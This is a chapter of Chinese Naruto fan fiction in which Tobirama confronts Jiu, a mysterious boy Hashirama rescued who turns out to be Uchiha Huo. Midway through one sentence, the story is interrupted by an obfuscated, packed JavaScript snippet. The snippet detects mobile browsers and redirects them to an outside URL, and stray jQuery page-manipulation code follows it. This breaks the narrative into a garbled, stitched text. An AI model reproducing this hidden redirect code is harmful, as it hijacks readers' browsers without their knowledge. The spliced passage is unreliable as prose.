2. 来历
作品:《那个白发的宇智波》 鸠看着扉间这副仍然不信他的样子有些无奈地耸了耸肩,凑到对方耳边低语了一句
“你猜什么情况下孩子会被父亲丢下悬崖?”
扉间下意识想躲开但对方速度快得吓人,对方说完这句话又自觉拉开距离了,看着他惊惧的样子噗嗤一声笑了出来。
“你的反应好有意思,不过这样好像显得我太欺负人了,毕竟我好像比你大一些。”
扉间不太理解对方这脑回路,但他可以肯定对方绝不是废物,至少对方刚才那一下刻意暴露出来的实力,是足以重创他的速度。
他只是出了个任务几天没回族地,他大哥就捡回来了一个什么东西?从悬崖上摔下来给对方砸个半死什么的,恐怕也不是完全的意外。
可是对方暴露的目的是?他想不太明白,还是说对方觉得藏不住干脆就摊牌了?
“你把心思写脸上了哦,没什么大目的,只是觉得逗逗你很好玩,毕竟佛间大叔也想利用我嘛。”
“没必要瞎操心啦,小孩子就该有个小孩子样嘛!大人的事情有的是他们头疼的,走我们俩练练去。”
鸠拽着扉间的衣服袖子就往树林去,扉间试图把衣服扯回来但这死娃子力气比他大,他反倒差点被对方扯摔倒了。
“放开我!”
然后鸠真松手了,而他由于在放手前依旧试图扯回衣服,一下子没反应过来真摔了。
听到对方细小的笑声,他就知道对方绝对是故意的。
“真不和我练练?我目前就住柱间隔壁的房间。”
“……装都不打算装了?”
扉间站了起来,拍了拍衣服冷哼了一声道
鸠双手放于身后,手掌交叉,眼睛转了一圈道
“因为柱间说过你总会想特别多嘛,所以我想着迟早会被你找麻烦不如我自己直接来找你麻烦。”
“而且我真藏不住事情,与其担心哪天会暴露不如直接自己把面具摘下来,还能让对手觉得莫名其妙,这不是很有意思嘛!”
完全无法理解,这是哪来的傻子。
扉间扯了扯嘴角,为自己之前以为对方是什么很聪明的家伙感到无语。
不过他确实没兴趣和对方切磋,至少在对方暴露出来的速度与力量上,他敢说对方的实力绝对不弱。
他转身就走了,想去找大哥好好问清楚这个鸠到底是什么情况,至于对方暗含威胁的话,吓唬别人或许有用,吓唬他可没用。
鸠见他这样长诶——了一声,跟在他身旁自顾自地讲着话,完全不在乎他那想刀了对方又没法真刀了的眼神。
“其实不是我父亲把我扔下悬崖的,是我自己在悬崖旁玩结果一个不注意摔下去了,还好我父亲没看到,不然他要直接哭出血泪来了吧。”
真就演都不演了,就差把宇智波三个字写脸上了。
“只是每个人希望听到的理由都不一样,所以一个被父亲抛弃的天才,反过来去报复父亲这样的戏码,佛间大叔应该挺乐意看到的。”
“而锅盖头,也就是柱间嘛,他想听到的是一个在战乱中没什么自保能力,在敌人的追杀下与双亲走散了,被逼无路后跳崖自杀的可怜孩子,这样的理由。”
“而你想听到的,可能是一个天才间谍,心思缜密地利用刻意的意外接近千手一族的核心目标,然后窃取重要信息或自杀式袭击重创千手一族的年轻一代,这样的理由?”
他听到这话停了下来,看向鸠,一字一顿道
“你到底是谁?”
“你已经猜到了不是吗?如果要帮你排除一下错误答案的话,是第一个哦。”
你果然听到了那些对话。
扉间又皱紧了眉头,这下他更想不明白大家为什么会放任一个宇智波在族地里了。
太诡异了,太不合理了。
而且很明显有人是真觉得这家伙不是宇智波。
鸠——也就是宇智波获,他看出了对方的疑惑和不解,贴心地解释了一下。
“因为在佛间大叔的预想中,我是他可以向那族讨要大笔物资的人质,也是有概率会重创那族的叛徒,所以在我伤养好前我是逃不走的哦,养好了也不被允许逃走。”
“可获取利益大于弊端,仇恨也就显得没那么刺眼了。”
“大家都这样,超级没意思。”
“要是环境能更好些,我也就不需要为了活下去想那么多了吧。”
鸠说到这里沉默了一会,扉间也没说什么。
毕竟对方的性格有点太过于自来熟和分享欲过旺了,他说自己藏不住事还真没说错。
后面扉间继续朝柱间所在的地方赶去,而鸠一直跟在他身边讲着过去家人喜欢吃什么,给他送了什么礼物,还有带他去哪些好看的地方玩了这种没用的废话。
是真的没有一点用,比如鸠讲他堂哥喜欢吃酸酸甜甜又辣还咸的熟食,他堂弟喜欢吃又冰又热又苦又甜的糕点丸子团,这都讲的什么东西,你家人知道你这样造谣他们吗。
最多提取出一个喜欢吃未知口味的熟食,一个喜欢吃未知口味的糕点,但这有什么用啊?!
每路过一个族人,他身边的鸠就会朝他们打招呼,有时候那些族人还会打趣鸠跟他关系看着还不错,到底从哪看出来他们俩关系好的,他快被烦死了。
这一路上他已经让鸠闭嘴了无数次了,但对方只会消停一下就继续说话,对方完全是不听人话的小孩子。
试图赶走对方也赶不走,甩掉对方也甩不掉,用忍术隔音也隔不掉,因为对方也会用忍术破,不是,你图啥啊。
他有理由怀疑对方就是不想让他深思一些问题所以才跟在他身边一直用语言干扰他。
“你能不能有点边界感?没人想听你那些跟讲梦话一样的过往。”
扉间真受不了了,压着怒气对鸠说道,鸠看到他这副样子,露出了笑容。
那是得逞的坏笑,扉间顿感不妙,一转头,果然是他找了许久都没找到的大哥。
可恶的宇智波获,到底是什么时候让他的感知能力
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968895|193419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无效了一小会……不对,对方为什么能让他的感知能力短暂无效。
些许冷汗冒了出来,他犯了不该犯的错误,对一个危险的不可控的宇智波放下了些许戒心。
“扉间,你说的话太过了。”
柱间确实不太清楚过程,但在他的视角下,他的弟弟对一个与双亲走散的孤独孩子说没有人想听对方回忆过去的话,不亚于给对方伤口上撒盐。
“我……”
扉间自然理解柱间的话,他气的牙痒痒,但谁叫这个鸠又装上了,趁他没说完话就插话道
“柱间,没事的,确实是我有过错,不用责怪扉间的”
字字都是事实,但不了解全程的柱间再加上鸠这包容似的语调,扉间只觉得自己哪怕真解释了也好不了一点。
“是我话有失分寸了。”
扉间深呼吸了几下开口道,他并不想看到也不想听到大哥为这个恶劣的家伙说话,而且他刚才说话也确实没控制好情绪。
他迟早要让获倒大霉。
“对了,大哥,你遇到这家伙的具体位置和过程能和我说一下吗?”
扉间选择问他在意的事,略过这一插曲。
而鸠则无聊地走到了远处,好心地给他们留出谈话空间,但那个距离他敢保证对方听得到,因为之前他和其他族人讨论鸠的时候这家伙就听到了。
柱间看了看鸠离去的方向,又看向了扉间,没再追究这件事。
实话说他看到这个新朋友与自家弟弟相处有点矛盾时其实内心有些愧疚的,毕竟他是比较想让两人好好相处的,所以跟对方特意提过几句扉间不太喜欢比较啰嗦的话什么的,但好像对方没听进去。
柱间跟扉间讲了他如何遇到鸠的,从回去的路上,到感觉到有什么东西落下来了,再到被砸中,然后是双双受伤,但那时的鸠受伤更严重,摔下来前就有伤的那种,还比较重。
他自己都觉得对方命大,在胳膊与胸口还有背面全有伤的情况下从十多米高的悬崖摔下来,如果没砸中他,绝对会摔死。
扉间听了这过程,思考了许久。
获这家伙嘴里没几句实话啊。
藏不住事但没说事就一定是真的,呵,挺爱耍小聪明的。
想到这,扉间又提醒柱间道
“鸠跟我说他还有个名字,那个名字是他真正的名字,叫获。还有,大哥你不要太相信他说的话。”
柱间有些不满于扉间这样,但他也知道对方的性子,有点闷闷不乐地应了一声。
不过让他更郁闷的是鸠跟扉间说了真名这件事,明明他先接触到的鸠吧,还是说鸠是被扉间套话套出来的真名。
柱间觉得鸠被套话的可能性更大,这点郁闷就很快消失了,取而代之的有点无奈。
“总之——在族地里先叫我为鸠吧?”
“这样也不容易搞混嘛!”
鸠不知何时飘到了扉间背后,把扉间给吓得下意识掏出苦无。
而鸠有些无辜地举起双手摆投降状。

